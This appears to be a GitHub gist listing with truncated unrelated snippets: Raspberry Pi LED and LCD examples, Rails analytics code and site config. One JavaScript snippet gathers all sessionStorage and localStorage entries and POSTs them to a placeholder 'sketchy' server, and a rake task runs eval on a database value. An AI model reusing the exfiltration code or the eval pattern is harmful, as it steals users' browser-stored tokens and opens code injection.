This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
######################################################################## | |
# Filename : I2CLCD1602.py | |
# Description : Use the LCD display data | |
# Author : freenove | |
# modification: 2023/05/15 | |
######################################################################## | |
import time | |
from time import sleep, strftime | |
import smbus |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
######################################################################## | |
# Filename : SenseLED.py | |
# Description : Control led with infrared Motion sensor. | |
# auther : www.freenove.com | |
# modification: 2023/05/11 | |
######################################################################## | |
from gpiozero import LED,MotionSensor | |
import time |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from gpiozero import LED | |
from time import sleep | |
red = LED(17) | |
while True: | |
red.on() | |
sleep(1) | |
red.off() | |
sleep(1) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Ahoy::Event < ApplicationRecord | |
scope :with_label_grouped_data , -> { | |
# Build a subquery SQL | |
subquery = self.unscoped.select("(case when #{table_name}.properties->>'label' is not NULL then #{table_name}.properties->>'label' else #{table_name}.name end) as label, #{table_name}.id").to_sql | |
# join the subquery to base model and returns the grouped data as Hash | |
self | |
.joins("INNER JOIN (#{subquery}) as labelled_events ON labelled_events.id = #{table_name}.id") | |
.group(:label) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
task :clear_old_ahoy_visits => [:environment] do | |
Subdomain.all.each do |subdomain| | |
Apartment::Tenant.switch subdomain.name do | |
if subdomain.purge_visits_every != Subdomain::TRACKING_PURGE_MAPPING[:never] | |
p "clearing old ahoy visits for [#{subdomain.name}] @ #{Time.now}" | |
visits = Ahoy::Visit.where("started_at < ?", eval("#{subdomain.purge_visits_every}.ago")) | |
p "#{visits.size} visits eligible for deletion" | |
visits.in_batches do |batch| | |
p "cleared old ahoy visits @ #{Time.now}" | |
batch.destroy_all |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CFLAGS="-Wno-error=implicit-function-declaration" RUBY_CONFIGURE_OPTS='--with-readline-dir=/usr/local/opt/readline/' arch -x86_64 rbenv install 2.4.2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
storedItems = [Object.keys(sessionStorage), Object.keys(localStorage)].flat().map((k) => { | |
return { | |
key: k, value: sessionStorage.getItem(k) | |
} | |
}) | |
console.log(storedItems); | |
let xhr = new XMLHttpRequest(); | |
xhr.open("POST", 'https://sketchymcsketchserver.com', true); | |
xhr.setRequestHeader("Content-Type", "application/json"); | |
xhr.onreadystatechange = function() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SitemapGenerator::Sitemap.default_host = "https://your-domain.com" | |
SitemapGenerator::Sitemap.create do | |
add blog_index_path | |
add new_visitor_inquiry_path | |
add services_path | |
add about_index_path | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<%= favicon_link_tag asset_path('your logo path') %> | |
<% %w(32 128 76 120 152 167 180 192 196).each do |size| %> | |
<%= favicon_link_tag "/icons/your-logo.png", rel: 'apple-touch-icon', type: 'image/png', sizes: "#{size}x#{size}" %> | |
<% end %> | |
<% %w(16 32).each do |size| %> | |
<%= favicon_link_tag "/icons/your-logo.png", rel: 'icon', type: 'image/png', sizes: "#{size}x#{size}" %> | |
<% end %> |
NewerOlder